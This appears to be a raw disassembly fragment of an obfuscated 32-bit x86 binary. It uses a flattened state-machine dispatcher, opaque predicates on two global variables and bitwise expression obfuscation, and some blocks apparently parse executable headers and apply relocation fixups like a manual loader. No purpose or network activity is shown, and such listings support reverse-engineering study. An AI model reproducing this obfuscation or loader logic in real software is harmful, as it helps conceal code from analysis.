cmp eax, 0xfda47061
jle 0x406e0f
cmp eax, 0xfda47062
je 0x40a8a2
cmp eax, 0xfecd167f
je 0x40a8ac
cmp eax, 0xfeff6ce2
jne 0x402100
cmp byte [ebp - 0x56], 0
mov eax, 0xbbf27804
mov ecx, 0xfa85a857
cmovne eax, ecx
jmp 0x402100
cmp eax, 0x73dbfeba
jg 0x406ef9
cmp eax, 0x7164d23e
je 0x40a8b6
cmp eax, 0x71a9e59b
jne 0x40d53f
mov eax, 0xb126746e
jmp 0x402100
cmp eax, 0x84dfd058
jg 0x40720d
cmp eax, 0x802efb36
je 0x40a8c0
cmp eax, 0x82f05c43
jne 0x402100
mov eax, 0xa3a3ba80
jmp 0x402100
cmp eax, 0x9bb44
jg 0x407239
cmp eax, 0xff28319b
je 0x40a9e5
cmp eax, 0xff3bf35a
jne 0x402100
mov eax, 0xdc25921d
jmp 0x402100
cmp eax, 0xc5924edb
jg 0x407310
cmp eax, 0xc54b79c5
je 0x40aa01
cmp eax, 0xc58f7b1e
jne 0x402100
mov eax, 0x6aa68566
jmp 0x402100
cmp eax, 0x4230728d
jg 0x407339
cmp eax, 0x41c39612
je 0x40aa22
cmp eax, 0x42221a0d
jne 0x402100
mov eax, 0x6133ca76
jmp 0x402100
cmp eax, 0xa0ec6888
jg 0x407359
cmp eax, 0x9e7f049b
je 0x40aa2c
cmp eax, 0x9f3b272d
jne 0x402100
mov eax, 0x41c39612
jmp 0x402100
cmp eax, 0x21a89b95
jg 0x407392
cmp eax, 0x1d4569c2
je 0x40aa5a
cmp eax, 0x21005e10
jne 0x402100
mov eax, dword [ebp - 0x28]
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0x108]
cmp ecx, eax
mov eax, 0xc5924edc
setl byte [ebp - 0x52]
jmp 0x402100
cmp eax, 0xe1a37339
jg 0x4073c7
cmp eax, 0xe08bde1e
je 0x40ab36
cmp eax, 0xe157e308
jne 0x402100
mov eax, dword [0x4ba77c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x1e1a6b2c
mov eax, edx
and eax, 0xe0a4a24
and ecx, edx
not edx
and edx, 0x10102108
or eax, edx
mov edx, eax
xor edx, 0xa0a4a00
xor eax, 0xf1f5b5db
mov esi, eax
and esi, 0x951115f4
and edx, 0xa0a6a08
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6aeeea0b
or eax, esi
and esi, 0x951115f4
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x18e09d06
and ecx, 0xe71f62f9
or eax, ecx
mov ecx, eax
mov edi, eax
xor ecx, 0x6faf62a
xor edi, 0x6faf62b
xor eax, 0xf90509d4
and edi, ecx
and eax, 0xfffffffe
and ecx, 1
mov edx, edi
not edx
or ecx, eax
and edi, 0xd59cbec3
mov eax, edx
and eax, 0x2a63413c
or edi, eax
mov eax, ecx
not eax
and ecx, 0xd59cbec3
or edx, eax
and eax, 0x2a63413c
or ecx, eax
not edx
xor ecx, edi
or edx, ecx
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xeab8f9b4
and edx, 0x1547064b
or eax, edx
mov edx, eax
xor edx, 0xe800a114
xor eax, 0x1547064b
mov esi, eax
and esi, 0x13fe5aeb
and edx, 0xec01a514
or edx, esi
mov esi, ecx
not esi
and ecx, 0xec01a514
or eax, esi
and esi, 0x13fe5aeb
or ecx, esi
not eax
mov esi, 0x87d9d8db
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4f79339a
and ecx, 0xb086cc65
or eax, ecx
xor eax, 0xb086cc65
setne al
sete ah
cmp dword [0x4ba778], 0xa
mov ecx, eax
setge ch
xor al, ch
or cl, ch
or ch, ah
and al, ah
mov edx, ecx
xor al, 1
xor dl, 1
mov ah, al
or al, ch
xor ah, ch
xor al, 1
or al, ah
mov ah, al
and cl, al
not ah
and ah, dl
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x26d61df0
cmovne edx, esi
test al, 1
mov eax, 0x26d61df0
jmp 0x40baec
cmp eax, 0x6133ca75
jg 0x4073f3
cmp eax, 0x5fa0bf71
je 0x40ab40
cmp eax, 0x60c053cc
jne 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x28981f65
mov edx, ecx
not edx
and eax, ecx
or ecx, 0xd767e09a
and edx, 0x28080501
mov esi, eax
not esi
mov edi, ecx
and edi, 0x12971a64
and eax, 0xed68e59b
or ecx, esi
and esi, 0x12971a64
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xea4a391a
and eax, 0x15b5c6e5
or ecx, eax
mov edi, ecx
mov eax, ecx
xor eax, 0x3d2dd980
xor ecx, 0x10dabade
xor edi, 0xc2d2267f
and ecx, eax
mov ebx, edi
and ebx, 0x28c0630c
and edi, 0xf6e04b37
mov edx, ecx
not edx
and ecx, 0xb8c0672d
mov esi, edx
and esi, 0x473f98d2
or ecx, esi
mov esi, eax
or esi, 0xd2089ca1
or edx, esi
and esi, 0x473f98d2
or ebx, esi
not edx
xor ebx, ecx
or edx, ebx
mov ecx, edx
not ecx
and edx, 0xd2089ca0
and ecx, 0x2df7635f
or edx, ecx
mov ecx, eax
and ecx, 0x91fb4c8
and eax, 1
or ecx, edi
mov esi, ecx
xor esi, 0x80404122
xor ecx, 0x804a008
or eax, esi
and ecx, 0x7ea4aa1c
mov esi, 0xc42c4f0b
and eax, 0x815b55e3
or eax, ecx
xor eax, 0x815b55e3
or eax, edx
mov ecx, eax
not ecx
and eax, 0x14f1c45
and ecx, 0xfeb0e3ba
or eax, ecx
mov ecx, eax
xor ecx, 0x1480c01
xor eax, 0xfe90e390
and eax, 0xfe97f3d4
and ecx, 0x1680c2b
or ecx, eax
mov eax, ecx
xor eax, 0x121710d4
xor ecx, 0x1680c2b
mov edx, ecx
and edx, 0xedc8e70a
and eax, 0x123718f5
or eax, edx
xor eax, 0x123718f5
or eax, ecx
xor eax, 0xffffffff
sete dl
setne al
cmp dword [0x4ba778], 0xa
setge cl
setl ch
mov ah, cl
or cl, al
xor ah, al
xor al, ch
not al
and ah, dl
mov edx, ecx
and al, ch
mov ch, ah
xor dl, 1
xor ah, al
xor ch, 1
xor al, 1
or al, ch
mov ch, cl
and ch, dl
xor al, 1
xor ch, 1
or al, ah
or ch, dl
mov ah, al
xor ch, 1
xor ah, 1
or ch, cl
mov dh, ch
and ch, al
or al, dl
xor dh, 1
xor al, 1
and dh, ah
xor ah, cl
or al, ah
or ch, dh
mov edx, 0xf87b4832
mov cl, al
xor cl, ch
test cl, 1
cmovne edx, esi
test al, 1
mov eax, 0xf87b4832
cmovne eax, edx
test ch, 1
cmove eax, edx
jmp 0x402100
cmp eax, 0x918d001f
jg 0x40751e
cmp eax, 0x9031b24c
je 0x40ad88
cmp eax, 0x90a62640
jne 0x402100
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xb0], eax
mov eax, 0x3dca7664
jmp 0x402100
cmp eax, 0xbe5d485
jg 0x407545
cmp eax, 0x90073b9
je 0x40adad
cmp eax, 0x9579b32
jne 0x402100
mov eax, 0xcf2437b5
jmp 0x402100
cmp eax, 0xd6298fa5
jg 0x407632
cmp eax, 0xd5789952
je 0x40aeec
cmp eax, 0xd5a17fa1
jne 0x402100
mov eax, 0xb4d9b338
jmp 0x402100
cmp eax, 0x51f945d2
jg 0x40775b
cmp eax, 0x4fea11b7
je 0x40aef6
cmp eax, 0x519f9c4d
jne 0x402100
mov eax, dword [ebp - 0x148]
add eax, 2
mov dword [ebp - 0xb8], eax
mov eax, 0x87f5ee
jmp 0x402100
cmp eax, 0xb5209a1b
jg 0x40777b
cmp eax, 0xb35ab128
je 0x40af00
cmp eax, 0xb4d9b338
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
or edx, 1
mov ecx, eax
and ecx, 1
mov esi, edx
not esi
and edx, 0x33bd6c8e
or ecx, esi
and ecx, 0xcc429371
or ecx, edx
mov edx, ecx
xor edx, 0xc0000341
xor ecx, 0x33bd6c8e
mov esi, ecx
and esi, 0x3fe2d03c
and edx, 0xc01d2fc3
or ecx, eax
or edx, esi
mov esi, eax
not esi
and eax, 0x3fe2d03c
not ecx
and esi, 0xc01d2fc3
or esi, eax
xor esi, edx
or ecx, esi
mov esi, 0xd5a17fa1
cmp ecx, 0xffffffff
setne ah
cmp dword [0x4ba778], 0xa
setge cl
setl dl
mov ch, cl
xor dl, ah
xor ch, ah
xor dl, 1
mov al, ch
and al, cl
or cl, ah
xor cl, 1
or cl, ch
and ch, ah
xor cl, 1
mov dh, ch
xor ch, al
xor al, 1
or cl, dl
xor dh, 1
mov dl, cl
or al, dh
mov ah, cl
xor dl, 1
xor al, 1
and dl, cl
or al, ch
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
xor al, dl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x7164d23e
cmovne ecx, esi
test al, 1
mov esi, 0x7164d23e
jmp 0x40c2ac
cmp eax, 0x32eb8cc1
jg 0x4077a7
cmp eax, 0x31dffdb3
je 0x40af16
cmp eax, 0x32cf9457
jne 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xf23cdcde
and ecx, 0x4379f842
mov edx, eax
and edx, 0xdc32320
or esi, edx
mov edx, eax
or edx, 0x4ad50996
and eax, 0xbc8607bd
mov edi, esi
xor edi, 0xb028d448
xor esi, 0x8c10101
and edx, 0x4ad50997
or eax, ecx
and esi, 0x4ad50997
and edi, 0xb52af668
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xbc8607bd
mov edi, esi
and edi, 0x4379f842
or edx, edi
mov edi, 0x90073b9
xor eax, edx
not eax
or eax, esi
mov esi, 0x7605ca8b
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x4ba778], 0xa
setge cl
setl al
mov ch, cl
and al, ah
and ch, dl
xor dl, cl
and dl, cl
inc cl
or al, ch
and cl, ah
or cl, ch
mov ch, al
or cl, dl
mov ah, cl
xor ch, cl
and cl, al
and ch, al
not ah
xor al, 1
and al, ah
or cl, al
mov al, ch
xor al, cl
test al, 1
cmovne esi, edi
test cl, cl
mov eax, esi
cmovne eax, edi
test ch, ch
cmove eax, esi
jmp 0x402100
cmp eax, 0xf2fe5e75
jg 0x407955
cmp eax, 0xf18501a0
je 0x40b034
cmp eax, 0xf18a933f
jne 0x402100
mov eax, 0x593434bc
jmp 0x402100
cmp eax, 0x7584f68b
je 0x40b161
cmp eax, 0x75e72dbc
jne 0x402100
mov eax, 0x9b86de71
jmp 0x402100
cmp eax, 0x88dd7d5d
je 0x40b21d
cmp eax, 0x8a162ccf
jne 0x402100
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
mov eax, 0xf371de3f
jmp 0x402100
cmp eax, 0x45841ab
je 0x40b31d
cmp eax, 0x5a9a36f
jne 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
mov eax, ecx
and eax, 0x38a7bd02
and edx, ecx
not ecx
mov esi, ecx
and esi, 0xc75842fd
mov ebx, edx
not ebx
and edx, 0x15c59035
or eax, esi
mov esi, eax
xor eax, 0xc75842fc
xor esi, 0x10859000
or eax, 1
and esi, 0x15c59034
mov edi, eax
or eax, ebx
and edi, 0xea3a6fca
and ebx, 0xea3a6fca
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0xf087557b
or eax, edx
mov edx, eax
not edx
and eax, 0x3de60fb9
and edx, 0xc219f046
or eax, edx
xor eax, 0x3de60fb9
or eax, ecx
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x4ba778], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
xor al, 1
or cl, ah
xor dl, 1
xor cl, 1
or al, dl
or cl, ch
mov ah, al
mov edx, eax
xor cl, 1
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
mov ah, cl
xor dl, 1
xor ah, al
or dl, al
or al, cl
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x8ccc55b3
cmovne ecx, esi
test al, 1
mov eax, 0x8ccc55b3
jmp 0x4020f0
cmp eax, 0xcd80d6d9
je 0x40b327
cmp eax, 0xce53d4bc
jne 0x402100
mov eax, dword [ebp - 0x15c]
cmp dword [eax + 0x10], 0
mov eax, 0xc392fd68
setne byte [ebp - 0x55]
jmp 0x402100
cmp eax, 0x49d69d6d
je 0x40b463
cmp eax, 0x4afc4227
jne 0x402100
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x88], eax
mov eax, 0xc8820656
jmp 0x402100
cmp eax, 0xa9f6bfcf
je 0x40b5c9
cmp eax, 0xa9f9d598
jne 0x402100
mov eax, dword [0x4ba77c]
lea edi, [eax + 1]
imul edi, eax
mov eax, edi
xor eax, 0x59d9e351
and eax, edi
not edi
or edi, eax
not eax
and eax, 0xa6261cae
and edi, 0x59d9e351
or edi, eax
mov ebx, edi
not ebx
mov edx, edi
and edx, 0x1f115e00
and edi, 0x89208040
mov eax, ebx
and eax, 0xe0eea1ff
or ebx, 0x664e4fbf
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0x1f115e00
xor esi, 0x86a0ee40
xor edx, 0x804e2000
and esi, eax
and edx, 0x9b4f7800
mov ecx, esi
not ecx
and esi, 0xed6ec8c7
mov dword [ebp - 0x34], ecx
and dword [ebp - 0x34], 0x12913738
or ecx, ebx
and ebx, 0x12913738
add esi, dword [ebp - 0x34]
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x664e4fbe
and esi, 0x99b1b041
or ecx, esi
mov esi, eax
and esi, 0x64b087ff
and eax, 1
or esi, edx
xor esi, 0x9b4f7801
or eax, esi
mov edx, eax
not edx
and eax, 0x258076b8
and edx, 0xda7f8947
or eax, edx
mov edx, ecx
not edx
and ecx, 0x3499f00b
mov esi, edx
and esi, 0xcb660ff4
or ecx, esi
mov esi, eax
xor esi, 0x24807008
xor eax, 0xda7f8947
or edx, eax
and eax, 0xcb660ff4
and esi, 0x3499f00b
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x1f618fd
mov ecx, edx
xor ecx, 0xb95045e1
mov eax, edx
and eax, 0x39100060
and ecx, edx
not edx
and edx, 0x80404581
or eax, edx
xor eax, 0x39100060
or eax, ecx
not ecx
and ecx, 0x46afba1e
and eax, 0xb95045e1
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x658b498e
mov edx, ecx
and edx, 0x9a74b671
or eax, edx
xor eax, 0x658b498e
or eax, ecx
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x4ba778], 0xa
setl ch
mov ah, ch
mov cl, ch
xor ah, dl
or cl, al
or dl, ch
xor al, ch
xor ah, 1
xor cl, 1
xor dl, 1
and al, ch
or cl, ah
or al, dl
mov ah, cl
mov edx, eax
mov ch, al
xor ah, 1
xor dl, 1
and ch, cl
or al, ah
mov dh, ah
and dh, dl
xor dl, cl
xor al, 1
or al, dl
or dh, ch
mov ecx, eax
xor cl, dh
test al, 1
mov eax, 0x38cbba7
cmovne eax, esi
test dh, 1
not cl
mov edx, 0x38cbba7
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402100
cmp eax, 0x285ec45a
je 0x40b5ef
cmp eax, 0x29cbe4bc
jne 0x402100
mov eax, 0xa7e5ceb0
jmp 0x402100
cmp eax, 0xea30ec1e
je 0x40b627
cmp eax, 0xea66ba6d
jne 0x402100
mov eax, 0x8f0e3381
jmp 0x402100
cmp eax, 0x6423f2b8
je 0x40b63a
cmp eax, 0x65b99256
jne 0x402100
mov eax, 0x90a62640
jmp 0x402100
cmp eax, 0x981872e3
je 0x40b644
cmp eax, 0x983dde23
jne 0x402100
mov eax, 0x42221a0d
jmp 0x402100
cmp eax, 0x13f5422d
je 0x40b65a
cmp eax, 0x14afed9e
jne 0x402100
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
add eax, dword [ebp - 0x124]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x80]
mov ecx, dword [eax + 4]
add eax, 8
mov dword [ebp - 0x12c], eax
mov eax, 0x585ff0e7
add ecx, 0xfffffff8
shr ecx, 1
mov dword [ebp - 0xd0], ecx
jmp 0x402100
cmp eax, 0xdad96686
je 0x40b67b
cmp eax, 0xdaf60d45
jne 0x402100
mov eax, 0x71a9e59b
jmp 0x402100
cmp eax, 0x58a2b2dc
je 0x40b685
cmp eax, 0x593434bc
jne 0x402100
mov eax, dword [ebp - 0x28]
mov ecx, dword [0x4ba77c]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x40], eax
lea eax, [ecx + 1]
setl byte [ebp - 0x56]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x4052099
and eax, 0x23020342
mov edx, ecx
or edx, 0x281c24
and esi, 0x42d3cbd
and ecx, 0xd8d0c000
and edx, 0x42d3cbd
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xd8f8dc24
and ecx, 0x270723db
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0x13e10c14
and eax, 0xec1ef3eb
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xc7d8f9d7
mov esi, ecx
and esi, 0x38270628
or edx, esi
mov esi, eax
xor esi, 0xc418f1c2
xor eax, 0x13e10c15
or ecx, eax
and eax, 0x38270628
and esi, 0xc7d8f9d7
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xc799a6f3
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xf860c404
and ecx, 0x78b1bcb
and eax, 0x142030
or edx, eax
xor edx, 0xf860c404
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x93046462
and eax, 0x6cfb9b9d
or ecx, eax
mov eax, ecx
xor eax, 0x61108042
xor ecx, 0x71000
and ecx, 0xa671014
and eax, 0xf598efeb
or eax, ecx
mov ecx, eax
xor ecx, 0x441888eb
xor eax, 0x2271010
and eax, 0xb3a77710
and ecx, 0x4c5888ef
or ecx, eax
xor ecx, 0x4c5888ef
sete al
setne cl
cmp dword [0x4ba778], 0xa
setl dl
setge ah
and dl, cl
and al, ah
or cl, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0xf18a933f
mov cl, dl
xor cl, ch
test dl, dl
mov edx, 0xf18a933f
cmovne eax, esi
test ch, ch
cmove eax, edx
jmp 0x40b459
cmp eax, 0xbba8f8fb
je 0x40b68f
cmp eax, 0xbbf27804
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0xbc835506
not edx
mov ecx, edx
and esi, eax
and ecx, 0xbc835506
and edx, 0x53ce9c92
and eax, 0xac31636d
or ecx, esi
not esi
or eax, edx
and esi, 0x437caaf8
and ecx, 0xbc835507
xor eax, 0xac31636d
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x3a682d22
and esi, 0xc597d2dd
or ecx, esi
mov esi, 0xb97de18c
xor ecx, 0x3a682d22
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7f60cf89
and ecx, 0x809f3076
or eax, ecx
xor eax, 0x7f60cf89
setne ah
sete ch
cmp dword [0x4ba778], 0xa
setl al
setge dl
mov cl, al
and ah, al
and dl, ch
or al, ch
xor cl, ch
or dl, ah
and cl, al
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x7b75e096
cmovne ecx, esi
test al, 1
mov eax, 0x7b75e096
jmp 0x406e07
cmp eax, 0x368ac2bc
je 0x40b699
cmp eax, 0x36e4a9b5
jne 0x402100
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x16c], eax
mov eax, dword [0x4ba77c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0xfedc23da
mov ecx, eax
and ecx, 0x123dc24
and eax, 0xf6df8741
or esi, ecx
mov ecx, edx
or ecx, 0xb14fd92c
mov edi, esi
xor edi, 0x4e9022d2
xor esi, 0x103d824
and ecx, 0xb14fd92d
and esi, 0xb14fd92c
and edi, 0x4eb026d2
or edi, esi
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x8716b523
and esi, 0x78e94adc
or ecx, esi
mov esi, ecx
xor esi, 0x86168501
xor ecx, 0x78e94adc
mov edi, ecx
or ecx, edx
and edx, 0x92078be
and edi, 0x92078be
and esi, 0xf6df8741
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0xf0fbeb0e
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x77f751a3
and eax, 0x8808ae5c
or ecx, eax
xor ecx, 0x77f751a3
setne dl
sete ah
cmp dword [0x4ba778], 0xa
setl al
setge cl
mov ch, al
or dl, al
or cl, ah
or al, ah
xor ch, ah
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, ch
or cl, ah
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
or ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
mov cl, al
xor dl, 1
xor cl, 1
or dl, ch
and cl, dl
xor dl, 1
and dl, al
mov al, ah
or dl, cl
mov ecx, 0x44d1246b
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x44d1246b
jmp 0x4020f0
cmp eax, 0xf7d2b0fe
je 0x40b6bf
cmp eax, 0xf87b4832
jne 0x402100
mov eax, 0xe157e308
jmp 0x402100
cmp eax, 0x6ac4e65a
je 0x40b7dd
cmp eax, 0x6d294be4
jne 0x402100
mov eax, 0xa1f6e4e8
jmp 0x402100
cmp eax, 0x85f08706
je 0x40b7e7
cmp eax, 0x8629ae46
jne 0x402100
mov eax, dword [0x4ba77c]
mov edi, 0xb6461ef0
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xc1d34cb9
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x3e2cb346
and eax, 0xc1d34cb9
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
and ecx, 0xbbfea551
mov esi, edx
and esi, 0x44015aae
or ecx, esi
mov esi, eax
not esi
and eax, 0xbbfea551
or edx, esi
and esi, 0x44015aae
or eax, esi
not edx
mov esi, 0x5fa0bf71
xor eax, ecx
or edx, eax
mov ecx, edx
not ecx
and edx, 0xd4b74fc2
and ecx, 0x2b48b03d
or ecx, edx
mov eax, ecx
xor eax, 0x80b00440
xor ecx, 0x40803c
and ecx, 0x5447cbbe
and eax, 0xabb83441
or eax, ecx
mov ecx, eax
xor ecx, 0x3080001
xor eax, 0x5042091c
and eax, 0xf8f23d5c
and ecx, 0x70dc2a3
or ecx, eax
cmp ecx, 0x70dc2a3
setne dl
cmp dword [0x4ba778], 0xa
setl cl
setge al
xor cl, dl
xor cl, 1
or cl, al
xor al, dl
xor cl, 1
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0xb6461ef0
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, 1
cmove eax, esi
jmp 0x402100
cmp eax, 0x87f5ee
je 0x40b7f8
cmp eax, 0x1f618fd
jne 0x402100
mov dword [ebp - 0x24], 2
mov eax, 0x38cbba7
jmp 0x402100
cmp eax, 0xc799a6f3
je 0x40b901
cmp eax, 0xc8820656
jne 0x402100
mov ecx, dword [0x4ba77c]
mov edi, 0xb4d9b338
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x41e39681
and ecx, 0xbe1c697e
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xc6908
xor edx, 0x41e39681
xor eax, 0x41e39680
and eax, edx
and ecx, 0x10f7f09
and edx, 0xfef080f6
or edx, ecx
mov ecx, eax
not ecx
and eax, 0x88281bd1
mov esi, ecx
and esi, 0x77d7e42e
or eax, esi
mov esi, edx
xor esi, 0x882000d1
xor edx, 0x10f7f08
or ecx, edx
and edx, 0x77d7e42e
and esi, 0x88281bd1
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0xd5a17fa1
mov eax, ecx
not eax
and ecx, 0xd69d60f6
and eax, 0x29629f09
or ecx, eax
mov eax, ecx
xor eax, 0x441860d4
xor ecx, 0x21501
and ecx, 0x92871523
and eax, 0x6d78eadc
or eax, ecx
mov ecx, eax
xor ecx, 0x12871122
xor eax, 0x6d78eadc
mov edx, eax
and edx, 0x853846c5
and ecx, 0x7ac7b93a
or ecx, edx
xor ecx, 0x7ac7b93a
or ecx, eax
xor ecx, 0xffffffff
sete dl
setne ah
cmp dword [0x4ba778], 0xa
setl al
setge cl
and ah, cl
and al, dl
or al, ah
xor al, 1
or al, cl
xor cl, dl
mov ah, al
mov edx, ecx
not dl
not ah
and dl, al
or al, cl
and cl, ah
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xb4d9b338
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
test al, al
jmp 0x408ada
cmp eax, 0x4419304d
je 0x40b90b
cmp eax, 0x44a69bfe
jne 0x402100
mov eax, 0x1beb0256
jmp 0x402100
cmp eax, 0xa1f6e4e8
je 0x40baf9
cmp eax, 0xa32da38a
jne 0x402100
mov eax, dword [ebp - 0x188]
mov ecx, 0x6aa68566
cmp eax, 0xc
mov eax, 0x7584f68b
cmove eax, ecx
jmp 0x402100
cmp eax, 0x22e95d7b
je 0x40bc84
cmp eax, 0x26959c0d
jne 0x402100
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x190], eax
mov eax, 0x62e8ced6
jmp 0x402100
cmp eax, 0xe4670132
je 0x40bd79
cmp eax, 0xe55b79d9
jne 0x402100
cmp byte [ebp - 0x51], 0
mov eax, 0xe45ccb42
mov ecx, 0xed9dd231
cmovne eax, ecx
jmp 0x402100
cmp eax, 0x62e8ced6
je 0x40be3b
cmp eax, 0x638ab82f
jne 0x402100
movzx eax, word [ebp - 0x90]
mov ecx, eax
not ecx
and eax, 0xffff8bd8
and ecx, 0x7427
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x3425
xor edx, 0xffff8bd8
xor eax, 0xffff8427
and eax, edx
and ecx, 0x3dfd
and edx, 0xffffc202
or edx, ecx
mov ecx, eax
not ecx
and eax, 0x2bf0
mov esi, edx
xor esi, 0x9f0
xor edx, 0x3202
mov edi, ecx
and edi, 0xffffd40f
or ecx, edx
and edx, 0xffffd40f
and esi, 0x2bf0
or eax, edi
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, dword [ebp - 0x140]
mov eax, ecx
not eax
and ecx, 0x1d7f
and eax, 0xffffe280
or ecx, eax
mov eax, ecx
xor eax, 0x28
xor ecx, 0xffff8280
and ecx, 0xffff9fd7
and eax, 0x6028
or eax, ecx
xor eax, 0x9fd7
movzx eax, ax
mov edx, dword [esi + eax]
add edx, dword [ebp - 0x13c]
mov dword [esi + eax], edx
mov eax, 0xea30ec1e
jmp 0x402100
cmp eax, 0x95579c8f
je 0x40bf05
cmp eax, 0x9582d104
jne 0x402100
mov eax, dword [ebp - 0x130]
mov ecx, 0xe443838
cmp eax, dword [ebp - 0x134]
mov eax, 0xecf805a2
cmovl eax, ecx
jmp 0x402100
cmp eax, 0xecec569
je 0x40bf42
cmp eax, 0xf8f7783
jne 0x402100
mov dword [ebp - 0x24], 0xc
mov eax, 0x5eae908d
jmp 0x402100
cmp eax, 0xd74b6a85
je 0x40bf6d
cmp eax, 0xd7e3e55f
jne 0x402100
mov eax, dword [0x4ba77c]
mov edi, 0xcd80d6d9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x69292040
mov edx, eax
and edx, 0x920136
and eax, 0x9644de89
or ecx, edx
xor ecx, 0x69292040
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x885e2ddd
mov esi, ecx
and esi, 0x77a1d222
or edx, esi
mov esi, eax
not esi
and eax, 0x885e2ddd
or ecx, esi
and esi, 0x77a1d222
or eax, esi
not ecx
mov esi, 0xabc03c99
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x4acfdd9a
and eax, 0xb5302265
or eax, edx
xor eax, 0xb5302265
or eax, ecx
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x4ba778], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
mov edx, eax
or al, ah
xor cl, 1
xor dl, ah
xor al, 1
or al, dl
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, edi
jmp 0x40d2ed
cmp eax, 0x57173499
je 0x40bf77
cmp eax, 0x57d236a2
jne 0x402100
mov eax, 0xbb006438
